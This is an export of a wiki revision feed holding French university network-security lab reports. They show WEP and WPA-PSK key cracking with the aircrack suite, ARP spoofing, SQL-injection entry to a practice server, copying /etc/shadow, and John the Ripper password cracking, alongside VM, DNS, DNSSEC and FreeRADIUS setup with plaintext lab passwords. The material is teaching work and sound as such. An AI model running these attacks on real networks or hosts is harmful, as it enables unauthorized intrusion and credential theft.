On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57831</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57831"/>
				<updated>2022-01-11T11:17:20Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSh ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
 $ cat www.belle-rose.site-ksk.key &lt;br /&gt;
 ; This is a key-signing key, keyid 37138, for www.belle-rose.site.&lt;br /&gt;
 ; Created: 20220110141246 (Mon Jan 10 14:12:46 2022)&lt;br /&gt;
 ; Publish: 20220110141246 (Mon Jan 10 14:12:46 2022)&lt;br /&gt;
 ; Activate: 20220110141246 (Mon Jan 10 14:12:46 2022)&lt;br /&gt;
